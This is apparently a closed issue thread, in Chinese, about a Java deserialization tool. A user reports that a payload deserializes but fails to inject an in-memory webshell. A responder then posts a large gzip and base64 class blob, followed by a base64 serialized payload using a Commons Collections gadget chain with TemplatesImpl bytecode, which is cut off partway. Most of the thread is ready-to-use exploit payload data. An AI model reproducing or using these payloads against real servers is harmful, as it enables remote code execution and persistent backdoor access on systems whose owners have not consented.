Closed aoteman86861 closed 8 months ago
2.ser中有多余的数据,且输出中已经有了base64的了,你需要应该是b64=""中的数据
注意看下输出
2.ser中有多余的数据,且输出中已经有了base64的了,你需要应该是b64=""中的数据
不是,打印出的b64=""数据,并不是序列化数据
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
使用2.ser,是可以被正常反序列化的,只是无法成功注入内存马
你把你那个class发我一下,我生成payload发你,你试下有效果没
你试下这个
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAAEbnUxcnNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5GYWN0b3J5VHJhbnNmb3JtZXKhYsEpXbfzuAIAAUwACGlGYWN0b3J5dAAoTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9GYWN0b3J5O3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnN0YW50aWF0ZUZhY3RvcnmUsZyeZyEE6wIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAE2lDbGFzc1RvSW5zdGFudGlhdGV0ABFMamF2YS9sYW5nL0NsYXNzO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAABc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AEEwABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAAAAAAAHVyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAABRCyv66vgAAADEAnwoACwBTCABUCgAJAFUIAFYKAAkAVwoAWABZCgALAFoIAFsHAFwHAF0HAF4HADwHAF8IAGAKAAkAYQgAYgcAYwcAZAkAJwBlCgAnAGYKABIAZwoAEQBoBwBpCgAXAFMKABEAagoAFwBrCgAXAGwHAG0HAG4KAG8AcAoAbwBxCgAcAHIKAAkAcwgATAkAdAB1CgAJAHYKAFgAdwoAdAB4BwCZAQADYjY0AQASTGphdmEvbGFuZy9TdHJpbmc7AQAJY2xhc3NOYW1lAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACxMY29tL3FpNGwvam5kaS90ZW1wbGF0ZS9DbGFzc0xvYWRlclRlbXBsYXRlOwEADGJhc2U2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAGYmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAdpZ25vcmVkAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQACYnMBAAV2YWx1ZQEAAltCAQANU3RhY2tNYXBUYWJsZQcAXQcAXwEACkV4Y2VwdGlvbnMBAA5pbml0Q2xhc3NCeXRlcwEACDxjbGluaXQ+AQAPZ3ppcElucHV0U3RyZWFtAQAfTGphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtOwEAFWJ5dGVBcnJheU91dHB1dFN0cmVhbQEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAARyZWFkAQABSQEABWJ5dGVzAQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZpbnZva2UHAGMHAGkBAApTb3VyY2VGaWxlAQAYQ2xhc3NMb2FkZXJUZW1wbGF0ZS5qYXZhDAArACwBABBqYXZhLnV0aWwuQmFzZTY0DAB6AHsBAApnZXREZWNvZGVyDAB8AH0HAH4MAE4AfwwAgACBAQAGZGVjb2RlAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAggCDAQAMZGVjb2RlQnVmZmVyAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0BABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtDAAoACkMADIAMwwAKwCEDAArAIUBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwARwCGDACHAIgMAIkAigEAF2phdmEvbmV0L1VSTENsYXNzTG9hZGVyAQAMamF2YS9uZXQvVVJMBwCLDACMAI0MAI4AjwwAKwCQDACRAIEHAJIMAJMANwwAlAB9DACVAJYMAJcAmAEAKmNvbS9xaTRsL2puZGkvdGVtcGxhdGUvQ2xhc3NMb2FkZXJUZW1wbGF0ZQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAUoW0IpVgEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEABShbQilJAQAFd3JpdGUBAAcoW0JJSSlWAQALdG9CeXRlQXJyYXkBAAQoKVtCAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldE